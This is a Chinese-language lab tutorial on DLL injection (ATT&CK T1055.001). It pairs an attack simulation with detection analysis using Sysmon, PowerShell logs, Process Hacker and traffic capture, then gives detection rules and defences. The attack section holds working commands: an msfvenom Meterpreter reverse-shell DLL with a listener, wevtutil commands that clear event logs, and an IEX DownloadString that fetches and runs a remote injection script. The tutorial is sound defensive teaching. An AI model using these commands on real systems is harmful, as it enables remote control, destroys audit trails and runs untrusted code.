DLL注入的术与道:分析攻击手法与检测规则
字数 2264 2025-08-20 18:18:16
DLL注入的术与道:攻击手法与检测规则详解
1. 基本概念
1.1 什么是DLL?
DLL(Dynamic Link Library)本质上是可供其他程序使用的函数和数据的集合,可视为虚拟公共资源。Windows运行的任何程序都会不断地调用动态链接库,以访问各种常见函数和数据。
1.2 DLL注入(T1055.001)
参考ATT&CK攻击矩阵,进程注入的方法比较丰富。本次使用经典的远程线程注入方法,对应ATT&CK的T1055.001。该方法需要事先将DLL存于磁盘上,主要流程如下:
- 使用Windows API调用将恶意文件路径写入目标进程的虚拟地址空间
- 创建远程线程并执行
2. 环境构建
2.1 系统准备
- Windows 10(victim)
- Kali(攻击机)
- Ubuntu 22.04.2(日志分析)
2.2 工具安装
-
Sysmon:安装时务必指定配置文件(如Neo23x0-sysmon-config)
- 安装后验证:
Get-Service sysmon
- 安装后验证:
-
PowerShell ScriptBlock日志配置:
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine New-Item -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true -
其他工具:
- Process Hacker:实时分析
- Wireshark:流量分析
- Volatility:内存分析
3. 攻击模拟
3.1 生成DLL文件
在Kali上使用msfvenom生成payload:
sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll
3.2 传输DLL到目标
使用Python搭建简易HTTP服务器:
python3 -m http.server 8008
3.3 启动监听
在Kali上:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.230.155
set LPORT 88
run
3.4 执行注入
-
清除系统日志:
wevtutil cl "Microsoft-Windows-Sysmon/Operational" wevtutil cl "Microsoft-Windows-PowerShell/Operational" -
下载并执行PowerShell注入脚本:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1') -
注入恶意DLL(以rufus.exe为例):
Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll
4. 技术原理分析
4.1 DLL注入流程
-
搜索目标进程:
- 使用
CreateToolhelp32Snapshot枚举进程 Process32First和Process32Next迭代进程列表
- 使用
-
获取进程句柄:
OpenProcess(ProcessAccessFlags.All = 0x001F0FFF) -
分配内存:
VirtualAllocEx(目标进程句柄, 分配大小, 内存地址, 分配类型, 访问权限) -
写入DLL路径:
WriteProcessMemory(目标进程句柄, 内存地址, 数据, 数据大小) -
创建远程线程:
- 使用
RtlCreateUserThread、NtCreateThreadEx或CreateRemoteThread - 将线程执行地址设置为
LoadLibraryA函数地址
- 使用
4.2 恶意DLL分析
使用IDA Pro分析evil.dll,主要函数:
sub_10001000sub_10001050(核心功能:进程创建与网络连接)sub_100011A0DllEntryPoint(导出函数)
关键行为:
- 初始化进程启动所需变量(StartupInfo、IpProcessInformation结构体)
- 创建rundll32.exe进程
- 调用
WriteProcessMemory将数据写入目标进程内存 - 使用
WSASocket实现联网行为
5. 检测与分析
5.1 原生工具检测
-
网络连接分析:
netstat -naob重点关注:
- ESTABLISHED连接
- rundll32.exe发起的异常网络连接
-
进程信息分析:
tasklist /m /fi "pid eq [PID]" wmic process where processid=[PID] get parentprocessid wmic process where processid=[PID] get Name wmic process where processid=[PID] get commandline -
Process Hacker分析:
- 进程树关系异常(如rufus.exe → rundll32.exe → cmd.exe)
- 当前工作目录异常(如从桌面运行)
- 无命令行参数运行
- RWX内存权限
- 内存中包含PE文件特征(MZ头)
5.2 Sysmon日志分析
关键事件ID:
- ID 22:DNS查询(如raw.githubusercontent.com)
- ID 3:网络连接(rundll32回连攻击机)
- ID 13/12:注册表修改(DisableAntiSpyware)
- ID 1:进程创建(如raserver.exe启动)
5.3 PowerShell日志分析
关键特征:
- 事件ID 4104
- 从Web服务器下载脚本并注入内存的命令
- 注入恶意DLL的命令记录
5.4 流量分析
关键点:
- DNS请求与响应
- TLS加密交换
- TCP流中的PE文件特征(MZ头)
6. 检测规则
6.1 基本规则
-
rundll32.exe异常使用:
- 合法路径应为:
C:\Windows\System32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe - 检测非标准路径下的rundll32.exe
- 合法路径应为:
-
命令行参数异常:
- 缺少DLL路径和函数参数
- 从异常位置(如%temp%、桌面)加载DLL
-
父子进程关系异常:
- 如rufus.exe → rundll32.exe → cmd.exe
- 结合进程启动日志建立行为序列
6.2 高级规则
-
内存权限检测:
- 检测具有RWX权限的内存空间
- 检测内存中的PE文件特征
-
网络行为检测:
- rundll32.exe的网络通信行为(正常情况下不活跃)
- 结合源IP、目的IP进行分桶聚合分析
-
注册表修改检测:
- 对DisableAntiSpyware等安全相关注册表项的修改
- HKLM和HKU下的异常修改
7. 防御建议
- 应用白名单:限制rundll32.exe等工具的执行
- 权限控制:限制普通用户对关键注册表项的修改权限
- 日志监控:全面启用Sysmon和PowerShell日志
- 行为分析:建立正常行为基线,检测异常行为模式
- 内存保护:启用防篡改和内存保护机制
8. 总结
DLL注入是一种常见的攻击技术,攻击者通过将恶意代码注入合法进程来绕过安全检测。防御者需要:
- 理解DLL注入的技术原理和实现方式
- 掌握多种检测方法(日志分析、内存分析、网络分析等)
- 建立全面的检测规则和防御体系
- 持续监控和更新防御策略以应对新的变种
通过深入理解攻击手法和建立有效的检测规则,可以显著提高对DLL注入攻击的检测和防御能力。